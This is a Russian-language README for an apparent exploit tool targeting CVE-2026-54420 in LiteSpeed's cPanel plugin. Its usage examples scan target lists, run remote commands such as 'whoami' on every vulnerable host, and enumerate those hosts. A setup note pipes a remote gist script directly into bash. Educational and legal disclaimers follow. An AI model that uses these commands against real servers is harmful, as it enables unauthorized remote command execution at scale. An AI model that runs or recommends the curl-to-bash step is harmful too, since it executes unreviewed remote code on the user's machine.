CVE-2026-54420 LiteSpeed cPanel

⚡ Простое использование

Используйте этот проект только в безопасных и авторизованных средах, таких как:

• Локальные виртуальные машины
• Docker-контейнеры
• Изолированные лабораторные стенды
• Авторизованные среды тестирования на проникновение

Пример настройки:

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

Пример использования:

# Single target scan
python cve-2026-54420.py -t http://localhost:3000

# Scan from targets.txt file
python cve-2026-54420.py -t targets.txt

# Advanced scan with all options
python cve-2026-54420.py -t targets.txt -v --threads 20 --timeout 15

# Execute command on all vulnerable targets
python cve-2026-54420.py -t targets.txt -c "whoami" --verbose

# Save results to file
python cve-2026-54420.py -t targets.txt --output results.json --format json

# Run enumeration on all vulnerable targets
python cve-2026-54420.py -t targets.txt --enum --threads 10

Примечание:

• при клонировании из другого проекта необходимо выполнить curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y, чтобы очистить вложенную папку .git
• например: cve-2025-46822.sh, cve-2025-46822-lab.sh, ...

Кредиты и ссылки

• https://thehackernews.com/2026/06/cisa-flags-litespeed-cpanel-plugin-flaw.html

📚 Репозиторий для образовательных исследований в области безопасности

Репозиторий для изучения, тестирования и исследования концепций кибербезопасности в контролируемых средах.

⚠️ Отказ от ответственности в области безопасности и юридический аспект

Назначение

Данный репозиторий предназначен только для образовательных целей и авторизованных исследований в области безопасности.

Он создан, чтобы помочь пользователям узнать о:

• Уязвимостях безопасности
• Концепциях песочницы и изоляции
• Безопасном кодировании и защитных практиках

Только авторизованное использование

Используйте этот репозиторий только в средах, где у вас есть разрешение, таких как:

• Личные лаборатории или виртуальные машины
• Docker или изолированные среды
• Авторизованное тестирование на проникновение
• Обучение кибербезопасности или академические исследования

Несанкционированное или незаконное использование строго запрещено.

Отсутствие ответственности

Автор и участники не несут ответственности за любой ущерб, неправомерное использование, юридические проблемы или убытки, вызванные этим проектом.

Используя этот репозиторий, вы соглашаетесь с тем, что:

• Вы несете ответственность за свои собственные действия
• Вы будете использовать его законно и этично
• Проект предоставляется без каких-либо гарантий

Этичное использование

Этот проект предназначен для:

• Оборонительных исследований безопасности
• Образования в области кибербезопасности
• Повышения осведомленности об уязвимостях
• Исследований безопасных систем и программного обеспечения

Пожалуйста, соблюдайте практики ответственного раскрытия информации и соблюдайте все применимые законы.

Контакты

Для ответственного раскрытия информации или сотрудничества свяжитесь с мейнтейнером репозитория через GitHub.